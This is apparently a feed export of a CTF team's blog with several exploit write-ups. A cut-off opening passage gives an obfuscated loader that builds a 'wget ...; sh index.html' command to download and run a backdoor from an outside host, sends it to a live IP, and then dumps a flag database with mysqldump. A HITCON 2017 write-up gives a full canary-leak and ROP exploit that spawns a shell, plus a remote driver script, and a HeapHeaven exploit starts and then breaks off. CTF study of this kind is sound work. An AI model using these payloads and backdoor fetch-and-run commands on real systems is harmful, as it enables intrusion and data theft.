<p>I want to write &lsquo;wget myserver.com&rsquo; in this way, and after execute it.</p>
<p>In myserver i have a bash http backdoor, so after downloading it i want to execute it.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> progressbar
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#obfuscated code using ls (max 5 byte each command)</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#&#39;wget tuly.pythonanywhere.com; sh index.html&#39;</span>
</span></span><span style="display:flex;"><span>code = <span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;IFS</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm I*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;=:
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm =:
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;a=</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm a*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;wg</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm w*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;et:</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm e*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;tul</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm t*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;y.</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm y*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;pyt</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm p*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;hon</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm h*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;any</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm a*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;whe</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm w*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;re.</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm r*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;com
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm c*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;b=</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm b*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;mv:</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm m*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;ind</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm i*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;ex.</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm e*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;ht</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm h*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;ml:</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm m*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;p
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">rm p*
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;\$a
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">&gt;\$b
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">ls&gt;&gt;</span><span style="color:#fc6a5d">\
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d"></span><span style="color:#fc6a5d">&#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>url = <span style="color:#fc6a5d">&#34;http://52.199.204.34/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>lines = code.split(<span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Writing downloader...&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> progressbar.ProgressBar(max_value=<span style="color:#d0a8ff">len</span>(lines)) <span style="color:#fc5fa3">as</span> bar:
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in xrange(<span style="color:#d0a8ff">len</span>(lines)):
</span></span><span style="display:flex;"><span>        l = lines[i].rstrip()
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> l == <span style="color:#fc6a5d">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">continue</span>
</span></span><span style="display:flex;"><span>        requests.get(url + <span style="color:#fc6a5d">&#34;?cmd=&#34;</span> + l)
</span></span><span style="display:flex;"><span>        bar.update(i)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Executing downloader...&#34;</span>
</span></span><span style="display:flex;"><span>requests.get(url + <span style="color:#fc6a5d">&#34;?cmd=sh </span><span style="color:#fc6a5d">\\</span><span style="color:#fc6a5d">&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> <span style="color:#fc6a5d">&#34;Executing backdoor...&#34;</span>
</span></span><span style="display:flex;"><span>requests.get(url + <span style="color:#fc6a5d">&#34;?cmd=sh p&#34;</span>)
</span></span></code></pre></div><p>In the home directory of the system we found that the flag is in the MySQL db</p>
<p>Having a polling backdoor we needed to use one command to exfiltrate the flag from the DB, so we used something like this:
<code>mysqldump -u user -p'password' flagdb</code>
Now, there was some issues we faced:</p>
<ul>
<li>A lock made our dump query fail</li>
<li>The database contained chinese characters that as well made our dump query fail
With this in mind we rewrote our query to something like this
<code>mysqldump -u user -p'password' flagdb --single-transaction --compatible-charset</code></li>
</ul>
]]></content></item><item><title>Hitcon CTF 2017 - Start</title><link>https://theromanxpl0.it/posts/2017/11/hitcon-ctf-2017-start/</link><pubDate>Mon, 06 Nov 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/11/hitcon-ctf-2017-start/</guid><description>&lt;p>The given binary is static.&lt;/p>
&lt;p>Checksec:&lt;/p>
&lt;pre tabindex="0">&lt;code>Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
&lt;/code>&lt;/pre>&lt;p>The main procedure is so simple:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-cpp" data-lang="cpp">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">int&lt;/span> &lt;span style="color:#fc5fa3">__cdecl&lt;/span> &lt;span style="color:#41a1c0">main&lt;/span>(&lt;span style="color:#fc5fa3">int&lt;/span> argc, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **argv, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **envp)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">char&lt;/span> v4; &lt;span style="color:#6c7986">// [rsp+0h] [rbp-20h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v5; &lt;span style="color:#6c7986">// [rsp+18h] [rbp-8h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v5 = __readfsqword(&lt;span style="color:#d0bf69">0x28u&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> alarm(&lt;span style="color:#d0bf69">10LL&lt;/span>, argv, envp);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> setvbuf(stdin, &lt;span style="color:#d0bf69">0LL&lt;/span>, &lt;span style="color:#d0bf69">2LL&lt;/span>, &lt;span style="color:#d0bf69">0LL&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> setvbuf(stdout, &lt;span style="color:#d0bf69">0LL&lt;/span>, &lt;span style="color:#d0bf69">2LL&lt;/span>, &lt;span style="color:#d0bf69">0LL&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">while&lt;/span> ( read(&lt;span style="color:#d0bf69">0LL&lt;/span>, &amp;amp;v4, &lt;span style="color:#d0bf69">217LL&lt;/span>) != &lt;span style="color:#d0bf69">0&lt;/span> &amp;amp;&amp;amp; (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">int&lt;/span>)strncmp(&amp;amp;v4, &lt;span style="color:#fc6a5d">&amp;#34;exit&lt;/span>&lt;span style="color:#fc6a5d">\n&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">5LL&lt;/span>) )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> puts(&amp;amp;v4);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If we have a leak of the canary we can overwrite the return address with the buffer overflow.&lt;/p></description><content type="html"><![CDATA[<p>The given binary is static.</p>
<p>Checksec:</p>
<pre tabindex="0"><code>Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
</code></pre><p>The main procedure is so simple:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__cdecl</span> <span style="color:#41a1c0">main</span>(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **argv, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">char</span> v4; <span style="color:#6c7986">// [rsp+0h] [rbp-20h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> v5; <span style="color:#6c7986">// [rsp+18h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v5 = __readfsqword(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>  alarm(<span style="color:#d0bf69">10LL</span>, argv, envp);
</span></span><span style="display:flex;"><span>  setvbuf(stdin, <span style="color:#d0bf69">0LL</span>, <span style="color:#d0bf69">2LL</span>, <span style="color:#d0bf69">0LL</span>);
</span></span><span style="display:flex;"><span>  setvbuf(stdout, <span style="color:#d0bf69">0LL</span>, <span style="color:#d0bf69">2LL</span>, <span style="color:#d0bf69">0LL</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">while</span> ( read(<span style="color:#d0bf69">0LL</span>, &amp;v4, <span style="color:#d0bf69">217LL</span>) != <span style="color:#d0bf69">0</span> &amp;&amp; (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)strncmp(&amp;v4, <span style="color:#fc6a5d">&#34;exit</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">5LL</span>) )
</span></span><span style="display:flex;"><span>    puts(&amp;v4);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If we have a leak of the canary we can overwrite the return address with the buffer overflow.</p>
<p>Sending 24 characters and newline the puts call will print out the canary (overwriting the last byte, but it is always 0).</p>
<p>It&rsquo;s time to build a rop chain.</p>
<p>I used ROPGadget to generate it but it was too long.</p>
<p>So i changed the chain a bit:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000004017f7</span>) <span style="color:#6c7986"># pop rsi ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000006cc080</span>) <span style="color:#6c7986"># @ .data</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x000000000047a6e6</span>) <span style="color:#6c7986"># pop rax ; pop rdx ; pop rbx ; ret</span>
</span></span><span style="display:flex;"><span>p += <span style="color:#fc6a5d">&#39;/bin//sh&#39;</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x4141414141414141</span>) <span style="color:#6c7986"># padding</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x4141414141414141</span>) <span style="color:#6c7986"># padding</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x0000000000475fc1</span>) <span style="color:#6c7986"># mov qword ptr [rsi], rax ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000004017f7</span>) <span style="color:#6c7986"># pop rsi ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000006cc088</span>) <span style="color:#6c7986"># @ .data + 8</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x000000000042732f</span>) <span style="color:#6c7986"># xor rax, rax ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x0000000000475fc1</span>) <span style="color:#6c7986"># mov qword ptr [rsi], rax ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000004005d5</span>) <span style="color:#6c7986"># pop rdi ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000006cc080</span>) <span style="color:#6c7986"># @ .data</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000004017f7</span>) <span style="color:#6c7986"># pop rsi ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000006cc088</span>) <span style="color:#6c7986"># @ .data + 8</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x0000000000443776</span>) <span style="color:#6c7986"># pop rdx ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x00000000006cc088</span>) <span style="color:#6c7986"># @ .data + 8</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x000000000042740e</span>) <span style="color:#6c7986"># add eax, 0x1d ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x000000000042740e</span>) <span style="color:#6c7986"># add eax, 0x1d ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x0000000000468320</span>) <span style="color:#6c7986"># add rax, 1 ; ret</span>
</span></span><span style="display:flex;"><span>p += p64(<span style="color:#d0bf69">0x0000000000468e75</span>) <span style="color:#6c7986"># syscall ; ret</span>
</span></span></code></pre></div><p>Ok now we must build the exploit using pwntools-ruby:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span>z = Sock.new <span style="color:#fc6a5d">&#39;127.0.0.1&#39;</span>, <span style="color:#d0bf69">31338</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#canary leak</span>
</span></span><span style="display:flex;"><span>z.sendline <span style="color:#fc6a5d">&#34;A&#34;</span>*<span style="color:#d0bf69">24</span> ;
</span></span><span style="display:flex;"><span>z.recvline;
</span></span><span style="display:flex;"><span>r = z.recvline;
</span></span><span style="display:flex;"><span>canary = <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\x00</span><span style="color:#fc6a5d">&#34;</span> + r[<span style="color:#d0bf69">0</span>..<span style="color:#d0bf69">6</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#build payload</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> = <span style="color:#fc6a5d">&#34;a&#34;</span>*<span style="color:#d0bf69">24</span> + canary + p64(<span style="color:#d0bf69">0x6cc018</span>); <span style="color:#6c7986">#0x6cc018 id rbp</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000004017f7</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000006cc080</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x000000000047a6e6</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += <span style="color:#fc6a5d">&#39;/bin//sh&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x4141414141414141</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x4141414141414141</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x0000000000475fc1</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000004017f7</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000006cc088</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x000000000042732f</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x0000000000475fc1</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000004005d5</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000006cc080</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000004017f7</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000006cc088</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x0000000000443776</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x00000000006cc088</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x000000000042740e</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x000000000042740e</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x0000000000468320</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">p</span> += p64(<span style="color:#d0bf69">0x0000000000468e75</span>);
</span></span><span style="display:flex;"><span>z.send <span style="color:#d0a8ff">p</span>;
</span></span><span style="display:flex;"><span>z.recvline;
</span></span><span style="display:flex;"><span>z.sendline <span style="color:#fc6a5d">&#34;exit&#34;</span>; <span style="color:#6c7986">#go to &#39;ret&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">#send command to the shell</span>
</span></span><span style="display:flex;"><span>z.sendline(<span style="color:#fc6a5d">&#34;uname -a&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span> z.recv(<span style="color:#d0bf69">5000</span>)
</span></span></code></pre></div><p>After testing it in localhost with socat, i wrote a python script that I used to send the ruby exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">run</span>(cmd):
</span></span><span style="display:flex;"><span>    expl = <span style="color:#fc6a5d">&#39;&#39;&#39;z = Sock.new &#39;127.0.0.1&#39;, 31338;z.sendline &#34;A&#34;*24 ;r = z.recvline;r = z.recvline;canary = &#34;</span><span style="color:#fc6a5d">\x00</span><span style="color:#fc6a5d">&#34; + r[0..6];p = &#34;a&#34;*24 + canary + p64(0x6cc018) ;p += p64(0x00000000004017f7);p += p64(0x00000000006cc080);p += p64(0x000000000047a6e6);p += &#39;/bin//sh&#39;;p += p64(0x4141414141414141);p += p64(0x4141414141414141);p += p64(0x0000000000475fc1);p += p64(0x00000000004017f7);p += p64(0x00000000006cc088);p += p64(0x000000000042732f);p += p64(0x0000000000475fc1);p += p64(0x00000000004005d5);p += p64(0x00000000006cc080);p += p64(0x00000000004017f7);p += p64(0x00000000006cc088);p += p64(0x0000000000443776);p += p64(0x00000000006cc088);p += p64(0x000000000042740e);p += p64(0x000000000042740e);p += p64(0x0000000000468320);p += p64(0x0000000000468e75);z.send p;z.recvline;z.sendline &#34;exit&#34;; z.sendline(&#34;&#39;&#39;&#39;</span> + cmd + <span style="color:#fc6a5d">&#39;&#39;&#39;&#34;); print z.recv(5000)&#39;&#39;&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    sh = remote(<span style="color:#fc6a5d">&#34;54.65.72.116&#34;</span>, <span style="color:#d0bf69">31337</span>)
</span></span><span style="display:flex;"><span>    sh.recvuntil(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>    sh.sendline(expl)
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span> sh.recvall()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>c = raw_input(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">while</span> c != <span style="color:#fc6a5d">&#34;q&#34;</span>:
</span></span><span style="display:flex;"><span>    run(c)
</span></span><span style="display:flex;"><span>    c = raw_input(<span style="color:#fc6a5d">&#34;&gt; &#34;</span>)
</span></span></code></pre></div><p>Now you can navigate the filesystem and get the flag.</p>
]]></content></item><item><title>Hack.lu CTF 2017 - HeapHeaven</title><link>https://theromanxpl0.it/posts/2017/10/hack.lu-ctf-2017-heapheaven/</link><pubDate>Thu, 19 Oct 2017 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2017/10/hack.lu-ctf-2017-heapheaven/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">from&lt;/span> pwn &lt;span style="color:#fc5fa3">import&lt;/span> *
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">wiWaIfy&lt;/span>(n):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">helper&lt;/span>(n):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> n == &lt;span style="color:#d0bf69">1&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#fc6a5d">&amp;#39;wi&amp;#39;&lt;/span>
